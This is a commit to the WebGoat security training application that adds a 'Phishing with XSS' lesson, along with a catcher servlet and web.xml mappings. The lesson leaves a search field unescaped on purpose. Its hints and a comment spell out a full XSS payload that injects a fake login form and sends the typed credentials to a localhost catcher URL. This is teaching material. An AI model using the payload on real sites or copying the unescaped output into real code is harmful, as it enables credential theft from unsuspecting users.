New Phishing Lesson

git-svn-id: http://webgoat.googlecode.com/svn/trunk@119 4033779f-a91e-0410-96ef-6bf7bf53c507
This commit is contained in:
mayhew64 2007-03-19 17:47:37 +00:00
parent ee6ed2e978
commit 34fca43216
7 changed files with 486 additions and 80 deletions

View File

@ -0,0 +1,116 @@
package org.owasp.webgoat;
import java.io.IOException;
import java.util.Enumeration;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created March 13, 2007
*/
public class Catcher extends HammerHead
{
/**
* Description of the Field
*/
public final static String START_SOURCE_SKIP = "START_OMIT_SOURCE";
public final static String END_SOURCE_SKIP = "END_OMIT_SOURCE";
public static final String PROPERTY = "PROPERTY";
public static final String EMPTY_STRING = "";
/**
* Description of the Method
*
* @param request Description of the Parameter
* @param response Description of the Parameter
* @exception IOException Description of the Exception
* @exception ServletException Description of the Exception
*/
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
{
try
{
//System.out.println( "Entering doPost: " );
//System.out.println( " - request " + request);
//System.out.println( " - principle: " + request.getUserPrincipal() );
//setCacheHeaders(response, 0);
WebSession session = (WebSession) request.getSession(true)
.getAttribute(WebSession.SESSION);
session.update(request, response, this.getServletName()); // FIXME: Too much in this call.
int scr = session.getCurrentScreen();
Course course = session.getCourse();
AbstractLesson lesson = course.getLesson(session, scr,
AbstractLesson.USER_ROLE);
log(request, lesson.getClass().getName() + " | "
+ session.getParser().toString());
String property = new String(session.getParser().getStringParameter(
PROPERTY, EMPTY_STRING));
// if the PROPERTY parameter is available - write all the parameters to the
// property file. No other control parameters are supported at this time.
if ( !property.equals(EMPTY_STRING))
{
Enumeration e = session.getParser().getParameterNames();
while (e.hasMoreElements())
{
String name = (String) e.nextElement();
String value= session.getParser().getParameterValues(name)[0];
lesson.getLessonTracker(session).getLessonProperties().setProperty(
name, value);
}
}
lesson.getLessonTracker(session).store(session, lesson);
}
catch (Throwable t)
{
t.printStackTrace();
log("ERROR: " + t);
}
}
}

View File

@ -67,80 +67,50 @@ public class LessonSource extends HammerHead
public void doPost(HttpServletRequest request, HttpServletResponse response) public void doPost(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException throws IOException, ServletException
{ {
String source = null; String source = null;
try try
{ {
//System.out.println( "Entering doPost: " ); //System.out.println( "Entering doPost: " );
//System.out.println( " - request " + request); //System.out.println( " - request " + request);
//System.out.println( " - principle: " + request.getUserPrincipal() ); //System.out.println( " - principle: " + request.getUserPrincipal() );
//setCacheHeaders(response, 0); //setCacheHeaders(response, 0);
WebSession session = (WebSession) request.getSession(true) WebSession session = (WebSession) request.getSession(true)
.getAttribute(WebSession.SESSION); .getAttribute(WebSession.SESSION);
session.update(request, response, this.getServletName()); // FIXME: Too much in this call. session.update(request, response, this.getServletName()); // FIXME: Too much in this call.
// Get the Java source of the lesson. FIXME: Not needed // Get the Java source of the lesson. FIXME: Not needed
source = getSource(session); source = getSource(session);
int scr = session.getCurrentScreen(); int scr = session.getCurrentScreen();
Course course = session.getCourse(); Course course = session.getCourse();
AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson lesson = course.getLesson(session, scr,
AbstractLesson.USER_ROLE); AbstractLesson.USER_ROLE);
lesson.getLessonTracker(session).setViewedSource(true); lesson.getLessonTracker(session).setViewedSource(true);
} }
catch (Throwable t) catch (Throwable t)
{ {
t.printStackTrace(); t.printStackTrace();
log("ERROR: " + t); log("ERROR: " + t);
} }
finally finally
{ {
try try
{ {
this.writeSource(source, response); this.writeSource(source, response);
} }
catch (Throwable thr) catch (Throwable thr)
{ {
thr.printStackTrace(); thr.printStackTrace();
log(request, "Could not write error screen: " log(request, "Could not write error screen: "
+ thr.getMessage()); + thr.getMessage());
} }
//System.out.println( "Leaving doPost: " ); //System.out.println( "Leaving doPost: " );
} }
} }
protected WebSession updateSession_DELETEME(HttpServletRequest request,
HttpServletResponse response, ServletContext context)
{
HttpSession hs;
hs = request.getSession(true);
//System.out.println( "Entering Session_id: " + hs.getId() );
// dumpSession( hs );
// Make a temporary session to avoid the concurreny issue
// in WebSession
WebSession session = new WebSession(this, context);
WebSession realSession = null;
Object o = hs.getAttribute(WebSession.SESSION);
if ((o != null) && o instanceof WebSession)
{
realSession = (WebSession) o;
}
session.setCurrentScreen(realSession.getCurrentScreen());
session.setCourse(realSession.getCourse());
session.setRequest(request);
// to authenticate
//System.out.println( "Leaving Session_id: " + hs.getId() );
//dumpSession( hs );
return (session);
}
/** /**
* Description of the Method * Description of the Method

View File

@ -0,0 +1,282 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.B;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Comment;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.Catcher;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created March 13, 2007
*/
public class Phishing extends LessonAdapter
{
/**
* Description of the Field
*/
protected final static String SEARCH = "Username";
private String searchText;
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
private boolean postedCredentials(WebSession s)
{
String postedToCookieCatcher = getLessonTracker(s).getLessonProperties()
.getProperty(Catcher.PROPERTY, Catcher.EMPTY_STRING);
//<START_OMIT_SOURCE>
return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING));
//<END_OMIT_SOURCE>
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
searchText = s.getParser().getRawParameter(SEARCH,"");
//<START_OMIT_SOURCE>
//<END_OMIT_SOURCE>
ec.addElement(makeSearch(s));
if (postedCredentials(s))
{
makeSuccess(s);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
return (ec);
}
protected Element makeSearch(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("WebGoat Search "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setAlign("center");
TR tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
if (s.isColor())
{
t.setBorder(1);
}
tr = new TR();
tr
.addElement(new TH()
.addElement(
"This facility will search the WebGoat source.")
.setColSpan(2).setAlign("center"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
TR row1 = new TR();
row1.addElement(new TD(new B(new StringElement("Search: "))).setAlign("right"));
Input input1 = new Input(Input.TEXT, SEARCH, searchText);
row1.addElement(new TD(input1).setAlign("left"));
t.addElement(row1);
Element b = ECSFactory.makeButton("Search");
t.addElement(new TR(new TD(b).setColSpan(2)).setAlign("center"));
ec.addElement(t);
if (!searchText.equals(""))
{
ec.addElement(new BR());
ec.addElement(new HR());
ec.addElement(new BR());
ec.addElement(new StringElement("Results for: " + searchText));
ec.addElement(new Comment("Search results"));
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new B(new StringElement("No results were found.")));
ec.addElement(new Comment("End of Search results"));
}
return (ec);
}
/**
* Gets the hints attribute of the CluesScreen object
*
* @return The hints value
*/
protected List getHints()
{
List<String> hints = new ArrayList<String>();
hints
.add("Try adding HTML to the search field to create a fake authentication form.<BR>" +
"Try to make the form look official.");
hints.add("Try: <BR> " +
"password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" +
"&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; " +
"name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " +
"name = &quot;pass&quot;&gt;&lt;br&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
hints.add("Add functionality that can post a request, a button might work<BR><BR>" +
"After getting the button on the page, don't forget you will need to steal the credentials and post them to: <BR>" +
"http://localhost./WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE");
hints.add("Try: <BR> " +
"&lt;input type=&quot;submit&quot; name=&quot;login&quot; " +
"value=&quot;login&quot;&gt;"+
"<BR><BR>Solution for this hint:<BR><BR>" +
"password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" +
"&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; " +
"name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " +
"name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; " +
"value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
hints.add("Make the button perform an action on submit, <BR>" +
"adding an onclick=\"hack()\" might work<BR>"+
"Don't forget to add the hack() javascript function" +
"<BR><BR>Solution for this hint:<BR><BR>" +
"password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" +
"&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; " +
"name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " +
"name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; " +
"value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
hints.add("You need to create the hack() function. This function will pull the credentials from the " +
"webpage and post them to the WebGoat catcher servlet. <BR>" +
"<BR> Some useful code snippets:<UL>" +
"<LI>doucument.forms[0].user.value - will access the user field" +
"<LI>XssImage = new Image(); XssImage.src=SOME_URL = will perform a post" +
"<LI>javascript string concatentation uses a \"+\" </UL>" +
"<BR><BR>Solution for this hint():<BR><BR>" +
"password&lt;script&gt;function hack(){ alert(&quot;Had this been a real attack... Your credentials were just stolen." +
"\nUser Name = &quot; + document.forms(0).user.value + &quot;\nPassword = &quot; + document.forms(0).pass.value); " +
"XSSImage=new Image; XSSImage.src=&quot;http://localhost./WebGoat/catcher?PROPERTY=yes&amp;user=&quot;+" +
"document.forms(0).user.value + &quot;&amp;password=&quot; + document.forms(0).pass.value + &quot;&quot;;}" +
"&lt;/script&gt;");
hints.add("Complete solution for this lesson:<BR><BR>" +
"password&lt;script&gt;function hack(){ alert(&quot;Had this been a real attack... Your credentials were just stolen." +
"\nUser Name = &quot; + document.forms(0).user.value + &quot;\nPassword = &quot; + document.forms(0).pass.value); " +
"XSSImage=new Image; XSSImage.src=&quot;http://localhost./WebGoat/catcher?PROPERTY=yes&amp;user=&quot;+" +
"document.forms(0).user.value + &quot;&amp;password=&quot; + document.forms(0).pass.value + &quot;&quot;;}" +
"&lt;/script&gt;&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" +
"&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; " +
"name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " +
"name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; " +
"value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
/**
* password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen.\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}</script><form><br><br><HR><H3>This feature requires account login:</H2><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR> <!--
*
*/
return hints;
}
/**
* Gets the instructions attribute of the XssSearch object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "This lesson is an example of how a website might support a phishing attack<BR><BR>" +
"Below is an example of a standard search feature.<br>" +
"Using XSS and HTML insertion, your goal is to: <UL>" +
"<LI>Insert html to that requests credentials" +
"<LI>Add javascript to actually collect the credentials" +
"<LI>Post the credentials to http://localhost./WebGoat/catcher?PROPERTY=yes...</UL> " +
"To pass this lesson, the credentials must be posted to the catcher servlet.<BR>";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(30);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the category attribute of the FailOpenAuthentication object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return AbstractLesson.A4;
}
/**
* Gets the title attribute of the CluesScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Phishing with XSS");
}
}

View File

@ -173,6 +173,6 @@ public class ViewDatabase extends LessonAdapter
*/ */
public String getTitle() public String getTitle()
{ {
return ("Database Dump"); return ("Adhoc Query");
} }
} }

View File

@ -138,7 +138,7 @@
example, replace "<" with "&lt;" and ">" with "&gt;". --> example, replace "<" with "&lt;" and ">" with "&gt;". -->
<param-name>FeedbackAddress</param-name> <param-name>FeedbackAddress</param-name>
<param-value> <param-value>
&lt;A HREF=mailto:webgoat@g2-inc.com&gt;webgoat@g2-inc.com&lt;/A&gt; &lt;A HREF=mailto:WebGoat@g2-inc.com&gt;WebGoat@g2-inc.com&lt;/A&gt;
</param-value> </param-value>
</init-param> </init-param>
@ -174,6 +174,14 @@
<servlet-class>org.owasp.webgoat.LessonSource</servlet-class> <servlet-class>org.owasp.webgoat.LessonSource</servlet-class>
</servlet> </servlet>
<servlet>
<servlet-name>CookieCatcher</servlet-name>
<description>
This servlet catches any posts and marks the appropriate lesson property.
</description>
<servlet-class>org.owasp.webgoat.CookieCatcher</servlet-class>
</servlet>
<servlet> <servlet>
<servlet-name>conf</servlet-name> <servlet-name>conf</servlet-name>
<jsp-file>/lessons/ConfManagement/config.jsp</jsp-file> <jsp-file>/lessons/ConfManagement/config.jsp</jsp-file>
@ -195,8 +203,7 @@
It is also legal to define more than one mapping for the same It is also legal to define more than one mapping for the same
servlet, if you wish to. servlet, if you wish to.
--> -->
<servlet-mapping> <servlet-mapping>
<servlet-name>AxisServlet</servlet-name> <servlet-name>AxisServlet</servlet-name>
<url-pattern>/servlet/AxisServlet</url-pattern> <url-pattern>/servlet/AxisServlet</url-pattern>
@ -235,11 +242,16 @@
<url-pattern>/source</url-pattern> <url-pattern>/source</url-pattern>
</servlet-mapping> </servlet-mapping>
<servlet-mapping>
<servlet-name>CookieCatcher</servlet-name>
<url-pattern>/catcher</url-pattern>
</servlet-mapping>
<servlet-mapping> <servlet-mapping>
<servlet-name>conf</servlet-name> <servlet-name>conf</servlet-name>
<url-pattern>/conf</url-pattern> <url-pattern>/conf</url-pattern>
</servlet-mapping> </servlet-mapping>
<!-- Define the default session timeout for your application, <!-- Define the default session timeout for your application,
in minutes. From a servlet or JSP page, you can modify in minutes. From a servlet or JSP page, you can modify
the timeout for a particular session dynamically by using the timeout for a particular session dynamically by using

View File

@ -174,6 +174,14 @@
<servlet-class>org.owasp.webgoat.LessonSource</servlet-class> <servlet-class>org.owasp.webgoat.LessonSource</servlet-class>
</servlet> </servlet>
<servlet>
<servlet-name>CookieCatcher</servlet-name>
<description>
This servlet catches any posts and marks the appropriate lesson property.
</description>
<servlet-class>org.owasp.webgoat.CookieCatcher</servlet-class>
</servlet>
<servlet> <servlet>
<servlet-name>conf</servlet-name> <servlet-name>conf</servlet-name>
<jsp-file>/lessons/ConfManagement/config.jsp</jsp-file> <jsp-file>/lessons/ConfManagement/config.jsp</jsp-file>
@ -235,6 +243,11 @@
<url-pattern>/source</url-pattern> <url-pattern>/source</url-pattern>
</servlet-mapping> </servlet-mapping>
<servlet-mapping>
<servlet-name>CookieCatcher</servlet-name>
<url-pattern>/catcher</url-pattern>
</servlet-mapping>
<servlet-mapping> <servlet-mapping>
<servlet-name>conf</servlet-name> <servlet-name>conf</servlet-name>
<url-pattern>/conf</url-pattern> <url-pattern>/conf</url-pattern>
@ -315,11 +328,11 @@
<description>The role that is required to use WebGoat</description> <description>The role that is required to use WebGoat</description>
<role-name>webgoat_user</role-name> <role-name>webgoat_user</role-name>
</security-role> </security-role>
<security-role> <security-role>
<description>This role is for admins only</description> <description>This role is for admins only</description>
<role-name>server_admin</role-name> <role-name>server_admin</role-name>
</security-role> </security-role>
</web-app> </web-app>

View File

@ -174,6 +174,14 @@
<servlet-class>org.owasp.webgoat.LessonSource</servlet-class> <servlet-class>org.owasp.webgoat.LessonSource</servlet-class>
</servlet> </servlet>
<servlet>
<servlet-name>CookieCatcher</servlet-name>
<description>
This servlet catches any posts and marks the appropriate lesson property.
</description>
<servlet-class>org.owasp.webgoat.CookieCatcher</servlet-class>
</servlet>
<servlet> <servlet>
<servlet-name>conf</servlet-name> <servlet-name>conf</servlet-name>
<jsp-file>/lessons/ConfManagement/config.jsp</jsp-file> <jsp-file>/lessons/ConfManagement/config.jsp</jsp-file>
@ -235,6 +243,11 @@
<url-pattern>/source</url-pattern> <url-pattern>/source</url-pattern>
</servlet-mapping> </servlet-mapping>
<servlet-mapping>
<servlet-name>CookieCatcher</servlet-name>
<url-pattern>/catcher</url-pattern>
</servlet-mapping>
<servlet-mapping> <servlet-mapping>
<servlet-name>conf</servlet-name> <servlet-name>conf</servlet-name>
<url-pattern>/conf</url-pattern> <url-pattern>/conf</url-pattern>
@ -315,11 +328,11 @@
<description>The role that is required to use WebGoat</description> <description>The role that is required to use WebGoat</description>
<role-name>webgoat_user</role-name> <role-name>webgoat_user</role-name>
</security-role> </security-role>
<security-role> <security-role>
<description>This role is for admins only</description> <description>This role is for admins only</description>
<role-name>server_admin</role-name> <role-name>server_admin</role-name>
</security-role> </security-role>
</web-app> </web-app>